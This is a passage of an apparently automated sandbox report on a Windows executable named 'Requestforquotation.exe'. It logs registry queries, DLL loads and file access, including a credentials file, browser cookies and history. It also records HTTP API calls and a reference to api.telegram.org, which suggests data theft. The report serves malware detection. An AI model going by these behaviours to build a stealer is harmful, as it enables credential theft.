00000000-00002972-00000C25-10894574] Observed system executable string:"%WINDIR%\system32\uxtheme.dll" [Source: 00000000-00002972-00000C25-11081132] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00002972-00000C25-11389395] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\c9a4cbc00f690a9e3cddfc400f6e85bb\System.Windows.Forms.ni.dll" [Source: 00000000-00002972-00000C25-11734597] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll" [Source: 00000000-00002972-00000C25-13147259] Observed system executable string:"%WINDIR%\system32\en-US\tzres.dll.mui" [Source: 00000000-00002972-00000C25-13726047] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00002972-00000C25-26459034] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00002972-00000C25-26603792] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00002972-00000C25-26970173] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00002972-00000C25-27772647] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Drawing\f7568d7f1b9d356f64779b4c0927cfb3\System.Drawing.ni.dll" [Source: 00000000-00002972-00000C25-27849138] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll" [Source: 00000000-00002972-00000C25-28304029] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll" [Source: 00000000-00002972-00000C25-28915165] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Data\df2dd09ed7c341842a104e1e668f184e\System.Data.ni.dll" [Source: 00000000-00002972-00000C25-29009078] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" [Source: 00000000-00002972-00000C25-29375499] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll" [Source: 00000000-00002972-00000C25-29596034] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00002972-00000C25-29910509] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll" [Source: 00000000-00002972-00000C25-30509913] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" [Source: 00000000-00002972-00000C25-30789284] Observed system executable string:"%WINDIR%\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.23894_none_5c0be957a009922e\gdiplus.dll" [Source: 00000000-00002972-00000C25-31998706]3a:Tc1a,"0CC55F78B0E4AA542F9C9A2E9095B378" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\0CC55F78B0E4AA542F9C9A2E9095B378]- [targetUID: 00000000-00003916] "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" has type "Microsoft Cabinet archive data Windows 2000/XP setup 4817 bytes 1 file at 0x2c +A "disallowedcert.stl" number 1 1 datablock 0x1 compression"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00003916] "8A0E67F3F72679DC8EF1F04D13A5B779_5DB5152ADADE9B60A5DDA0E2DEAA7549" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\8A0E67F3F72679DC8EF1F04D13A5B779_5DB5152ADADE9B60A5DDA0E2DEAA7549]- [targetUID: 00000000-00003916] "223DE96EE265046957A660ED7C9DD9E7_EFF9B9BA98DEAA773F261FA85A0B1771" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\223DE96EE265046957A660ED7C9DD9E7_EFF9B9BA98DEAA773F261FA85A0B1771]- [targetUID: 00000000-00003916] "EB2C4AB8B68FFA4B7733A9139239A396_D76DB901EE986B889F30D8CC06229E2D" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\EB2C4AB8B68FFA4B7733A9139239A396_D76DB901EE986B889F30D8CC06229E2D]- [targetUID: 00000000-00003916] "67F6625BC22310D5C99DDE12020DBD90" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\67F6625BC22310D5C99DDE12020DBD90]- [targetUID: 00000000-00003916] "C5FD5BF0CE6372B1CAFE381FD0BC969C" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\C5FD5BF0CE6372B1CAFE381FD0BC969C]- [targetUID: 00000000-00003916] "8A0E67F3F72679DC8EF1F04D13A5B779_5DB5152ADADE9B60A5DDA0E2DEAA7549" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\8A0E67F3F72679DC8EF1F04D13A5B779_5DB5152ADADE9B60A5DDA0E2DEAA7549]- [targetUID: 00000000-00003916] "EB2C4AB8B68FFA4B7733A9139239A396_D76DB901EE986B889F30D8CC06229E2D" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\EB2C4AB8B68FFA4B7733A9139239A396_D76DB901EE986B889F30D8CC06229E2D]- [targetUID: 00000000-00003916] "223DE96EE265046957A660ED7C9DD9E7_EFF9B9BA98DEAA773F261FA85A0B1771" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\223DE96EE265046957A660ED7C9DD9E7_EFF9B9BA98DEAA773F261FA85A0B1771]- [targetUID: 00000000-00003916] "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00003916] "0CC55F78B0E4AA542F9C9A2E9095B378" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\0CC55F78B0E4AA542F9C9A2E9095B378]- [targetUID: 00000000-00003916] "67F6625BC22310D5C99DDE12020DBD90" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\67F6625BC22310D5C99DDE12020DBD90]- [targetUID: 00000000-00003916] "C5FD5BF0CE6372B1CAFE381FD0BC969C" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\C5FD5BF0CE6372B1CAFE381FD0BC969C]- [targetUID: 00000000-00003916]3b:T64b,"Requestforquotation.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION"; Key: ""; Value: "") "Requestforquotation.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS"; Key: ""; Value: "") "Requestforquotation.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "Requestforquotation.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION"; Key: ""; Value: "") "Requestforquotation.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "Requestforquotation.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: ""; Value: "") "Requestforquotation.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: ""; Value: "") "Requestforquotation.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: ""; Value: "") "Requestforquotation.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\ROMANCE STANDARD TIME\DYNAMIC DST"; Key: ""; Value: "") "Requestforquotation.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\ERROR MESSAGE INSTRUMENT"; Key: ""; Value: "") "Requestforquotation.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: ""; Value: "") "Requestforquotation.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: ""; Value: "")3c:T789,"Requestforquotation.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "Requestforquotation.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "Requestforquotation.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "Requestforquotation.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "BIAS"; Value: "") "Requestforquotation.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDNAME"; Value: "") "Requestforquotation.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDBIAS"; Value: "") "Requestforquotation.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDSTART"; Value: "") "Requestforquotation.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTNAME"; Value: "") "Requestforquotation.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTBIAS"; Value: "") "Requestforquotation.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTSTART"; Value: "") "Requestforquotation.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "TIMEZONEKEYNAME"; Value: "") "Requestforquotation.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DYNAMICDAYLIGHTTIMEDISABLED"; Value: "") "Requestforquotation.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "ACTIVETIMEBIAS"; Value: "")3d:T408,"Requestforquotation.exe" reads file "c:\windows\microsoft.net\framework\v4.0.30319\config\machine.config" "Requestforquotation.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system.drawing\f7568d7f1b9d356f64779b4c0927cfb3\system.drawing.ni.dll.aux" "Requestforquotation.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system.xml\15af16d373cf0528cb74fc73d365fdbf\system.xml.ni.dll.aux" "Requestforquotation.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll.aux" "Requestforquotation.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system.windows.forms\c9a4cbc00f690a9e3cddfc400f6e85bb\system.windows.forms.ni.dll.aux" "Requestforquotation.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system\0b2f69b43a576b9edcc807a30872bd91\system.ni.dll.aux" "Requestforquotation.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system\2c3c912ea8f058f9d04c4650128feb3f\system.ni.dll.aux"3e:T70c,"Requestforquotation.exe" trying to touch file "C:\Windows\SYSTEM32\MSCOREE.DLL" "Requestforquotation.exe" trying to touch file "C:\Windows\SYSTEM32\sechost.dll" "Requestforquotation.exe" trying to touch file "C:\Windows\Temp\VxSSL32.dll" "Requestforquotation.exe" trying to touch file "C:\FLTLIB.DLL" "Requestforquotation.exe" trying to touch file "C:\Windows\system32\FLTLIB.DLL" "Requestforquotation.exe" trying to touch file "C:\Windows\system32\api-ms-win-core-synch-l1-2-0.DLL" "Requestforquotation.exe" trying to touch file "C:\Windows\system32\api-ms-win-core-fibers-l1-1-1.DLL" "Requestforquotation.exe" trying to touch file "C:\Windows\system32\api-ms-win-core-localization-l1-2-1.DLL" "Requestforquotation.exe" trying to touch file "C:\Windows\SYSTEM32\MSCOREE.DLL.local" "Requestforquotation.exe" trying to touch file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" "Requestforquotation.exe" trying to touch file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll" "Requestforquotation.exe" trying to touch file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll" "Requestforquotation.exe" trying to touch file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll" "Requestforquotation.exe" trying to touch file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll" "Requestforquotation.exe" trying to touch file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll" "Requestforquotation.exe" trying to touch file "C:\Requestforquotation.exe.config" "Requestforquotation.exe" trying to touch file "C:\Windows\system32\api-ms-win-appmodel-runtime-l1-1-2.dll" "Requestforquotation.exe" trying to touch file "C:\Windows\system32\VERSION.dll" "Requestforquotation.exe" trying to touch file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll"3f:T836,"Requestforquotation.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll" "Requestforquotation.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll" "Requestforquotation.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll" "Requestforquotation.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll" "Requestforquotation.exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll" "Requestforquotation.exe" touched file "C:\Windows\Microsoft.Net\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll.config" "Requestforquotation.exe" touched file "C:\Windows\AppPatch\sysmain.sdb" "Requestforquotation.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "Requestforquotation.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files" "Requestforquotation.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\History" "Requestforquotation.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Templates\credentials.txt" "Requestforquotation.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat" "Requestforquotation.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Cookies" "Requestforquotation.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "Requestforquotation.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files" "Requestforquotation.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\History" "Requestforquotation.exe" touched file "%APPDATA%\Microsoft\Windows\Templates\credentials.txt" "Requestforquotation.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\counters.dat" "Requestforquotation.exe" touched file "%APPDATA%\Microsoft\Windows\Cookies" "AppLaunch.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll" "AppLaunch.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll"40:T733,"Requestforquotation.exe" trying to access non-existent file "C:\FLTLIB.DLL" "Requestforquotation.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-fibers-l1-1-1.DLL" "Requestforquotation.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-localization-l1-2-1.DLL" "Requestforquotation.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll" "Requestforquotation.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll" "Requestforquotation.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll" "Requestforquotation.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll" "Requestforquotation.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll" "Requestforquotation.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-appmodel-runtime-l1-1-2.dll" "Requestforquotation.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\VCRUNTIME140_CLR0400.dll" "Requestforquotation.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ucrtbase_clr0400.dll" "Requestforquotation.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-quirks-l1-1-0.dll" "Requestforquotation.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-appmodel-runtime-l1-1-0.dll" "Requestforquotation.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" "Requestforquotation.exe" trying to access non-existent file "C:\Windows\system32\combase.dll" "Requestforquotation.exe" trying to access non-existent file "C:\CRYPTBASE.dll"41:T603,"Requestforquotation.exe" trying to access non-existent file "C:\Windows\SYSTEM32\MSCOREE.DLL.local" "Requestforquotation.exe" trying to access non-existent file "C:\Requestforquotation.exe.config" "Requestforquotation.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\fusion.localgac" "Requestforquotation.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_32\OCpW\" "Requestforquotation.exe" trying to access non-existent file "C:\Requestforquotation.INI" "Requestforquotation.exe" trying to access non-existent file "C:\Requestforquotation.exe.Local\" "Requestforquotation.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.DATA.DLL.CONFIG" "Requestforquotation.exe" trying to access non-existent file "C:\REQUESTFORQUOTATION.EXE.CONFIG" "Requestforquotation.exe" trying to access non-existent file "C:\REQUESTFORQUOTATION.EXE.LOCAL" "Requestforquotation.exe" trying to access non-existent file "C:\Windows\System32\MSCOREE.DLL.LOCAL" "Requestforquotation.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\FUSION.LOCALGAC" "Requestforquotation.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_32\OCPW" "Requestforquotation.exe" trying to access non-existent file "C:\REQUESTFORQUOTATION.INI" "Requestforquotation.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME"42:T56e,"Requestforquotation.exe" called "WinHttpSendRequest" with parameters {"hRequest": "35fc70" "lpszHeaders": "If-None-Match: \"084627641cfd61:0\"If-Modified-Since: Thu, 10 Dec 2020 22:11:52 GMT" "dwHeadersLength": "4294967295" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"} "Requestforquotation.exe" called "WinHttpSendRequest" with parameters {"hRequest": "856f98" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"} "Requestforquotation.exe" called "WinHttpSendRequest" with parameters {"hRequest": "35fc70" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"} "Requestforquotation.exe" called "WinHttpSendRequest" with parameters {"hRequest": "8189b0" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"} "Requestforquotation.exe" called "WinHttpSendRequest" with parameters {"hRequest": "85c8c8" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"} "Requestforquotation.exe" called "WinHttpSendRequest" with parameters {"hRequest": "871370" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"} "Requestforquotation.exe" called "WinHttpSendRequest" with parameters {"hRequest": "8582d0" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"}43:T515,Found reference to API "WinHttpSendRequest" (Indicator: "HttpSendRequest"; Source: "00000000-00003916-00000C26-48091422") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; Source: "00000000-00003916-00000C26-48091422") Found reference to API "WSARecv" (Indicator: "WSARecv"; Source: "00000000-00003916-00000C26-48236821") Found reference to API "WSASend" (Indicator: "WSASend"; Source: "00000000-00003916-00000C26-48239180") Found reference to API "WinHttpQueryHeaders" (Indicator: "WinHttpQueryHeaders"; Source: "00000000-00003916-00000C26-48248499") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; Source: "00000000-00003916-00000C26-48253666") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; Source: "00000000-00003916-00000C26-63404901") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; Source: "00000000-00003916-00000C26-63571520") Found reference to API "WinHttpOpenRequest" (Indicator: "HttpOpenRequest"; Source: "00000000-00003916-00000C26-63573448") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; Source: "00000000-00003916-00000C26-63573448") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; Source: "00000000-00003916-00000C26-63573448")44:T633,Heuristic match: "GWr.MG" Heuristic match: "\ZcD.Es" Heuristic match: "ENF.bh" Heuristic match: "HV.cX" Pattern match: "http://certs.godaddy.com/repository/1301*Go" Pattern match: "MSCFdisallowedcert.stlI/RBM@" Heuristic match: "ocsp.godaddy.com" Heuristic match: "GET //MEQwQjBAMD4wPDAJBgUrDgMCGgUABBTkIInKBAzXkF0Qh0pel3lfHJ9GPAQU0sSw0pHUTBFxs2HLPaH%2B3ahq1OMCAxvnFQ%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.godaddy.com" Heuristic match: "crl.godaddy.com" Heuristic match: "GET /gdroot.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.godaddy.com" Heuristic match: "GET //MEIwQDA%2BMDwwOjAJBgUrDgMCGgUABBQdI2%2BOBkuXH93foRUj4a7lAr4rGwQUOpqFBxBnKLbv9r0FQW4gwZTaD94CAQc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.godaddy.com" Heuristic match: "GET /gdroot-g2.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.godaddy.com" Heuristic match: "GET //MEowSDBGMEQwQjAJBgUrDgMCGgUABBS2CA1fbGt26xPkOKX4ZguoUjM0TgQUQMK9J47MNIMwojPX%2B2yz8LQsgM4CCQCkYG4%2BrkSiPg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.godaddy.com" Heuristic match: "GET /gdig2s1-5395.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.godaddy.com" Heuristic match: "api.telegram.org" Heuristic match: "ctldl.windowsupdate.com" Pattern match: "Microsoft.NET/Framework/v4.0.30319/" Heuristic match: "9iqmgvw,czc0?1$0" - Source: "00000000-00003916.00000001.69116.002FC000.00000004.mdmp") Found URL "http://isrg.trustid.ocsp.identrust.com0;/http://apps.identrust.com/roots/dstrootcax3.p7c0m0k0000." - Source: "00000000-00003916.00000001.69116.002FC000.00000004.mdmp") Found URL "http://cps.root-x1.letsencrypt.org0<50301+http://crl.identrust.com/dstrootcax3crl.crl0ig'" - Source: "00000000-00003916.00000001.69116.002FC000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00003916.00000001.69116.002FC000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0whrbhttp/1.1" - Source: "00000000-00003916.00000001.69116.002FC000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00003916.00000001.69116.002FC000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00003916.00000001.69116.002FC000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/02+0)0'!http://crl.godaddy.com/gdroot.crl0fhrrt'fi" - Source: "00000000-00003916.00000001.69116.002FC000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-hardware0110315000000z140314235959z0384771florida1english1sea" - Source: "00000000-00003916.00000001.69116.002FC000.00000004.mdmp") Found URL "https://secure.comodo.com/cps0" - Source: "00000000-00003916.00000001.69116.002FC000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com05addons.mozilla.orgwww.addons.mozilla.org0zsb)j9e/www*9ckxsalt" - Source: "00000000-00003916.00000001.69116.002FC000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0%www.google.comgoogle.com0io]l,e9n0p1+0)" - Source: "00000000-00003916.00000001.69116.002FC000.00000004.mdmp") Found URL "http://www.public-trust.com/cps/omniroot.html0w0u1gte" - Source: "00000000-00003916.00000001.69116.002FC000.00000004.mdmp") Found URL "http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0dmxt*j]+xijom5ocota0703" - Source: "00000000-00003916.00000001.69116.002FC000.00000004.mdmp") Found URL "http://ocsp.entrust.net03,0*0(" - Source: "00000000-00003916.00000001.69116.002FC000.00000004.mdmp") Found URL "http://crl.entrust.net/server1.crl0;8kbv7.11c)d[b" - Source: "00000000-00003916.00000001.69116.002FC000.00000004.mdmp") Found URL "http://www.diginotar.nl/cps/pkioverheid0w0u1staat" - Source: "00000000-00003916.00000001.69116.002FC000.00000004.mdmp") Found URL "http://crl.pkioverheid.nl/domovlatestcrl.crl0]ko)tsz'" - Source: "00000000-00003916.00000001.69116.002FC000.00000004.mdmp") Found URL "http://www.diginotar.nl/cps/pkioverheid0\0z1staat" - Source: "00000000-00003916.00000001.69116.002FC000.00000004.mdmp") Found URL "http://crl.pkioverheid.nl/domorganisatielatestcrl-g2.crl0^tl*" - Source: "00000000-00003916.00000001.69116.002FC000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0/login.skype.comwww.login.skype.com0w6v*gte" - Source: "00000000-00003916.00000001.69116.002FC000.00000004.mdmp") Found URL "http://cybertrust.omniroot.com/repository.cfm0w0u1gte" - Source: "00000000-00003916.00000001.69116.002FC000.00000004.mdmp") Found URL "http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0j)z" - Source: "00000000-00003916.00000001.69116.002FC000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-hardware0110315000000z140314235959z0384771florida1tampa1sea" - Source: "00000000-00003916.00000001.69116.002FC000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0global" - Source: "00000000-00003916.00000001.69116.002FC000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0/login.yahoo.comwww.login.yahoo.com0yvr,verisign" - Source: "00000000-00003916.00000001.69116.002FC000.00000004.mdmp") Found URL "https://www.verisign.com/repository/cpsthis" - Source: "00000000-00003916.00000001.69116.002FC000.00000004.mdmp") Found URL "https://www.verisign.com;" - Source: "00000000-00003916.00000001.69116.002FC000.00000004.mdmp") Found URL "https://www.verisign.com/repository/verisignlogo.gif0d=0;090*0(https://www.verisign.com/rpa0x7y1;8kb%2+josalt" - Source: "00000000-00003916.00000001.69116.002FC000.00000004.mdmp") Found URL 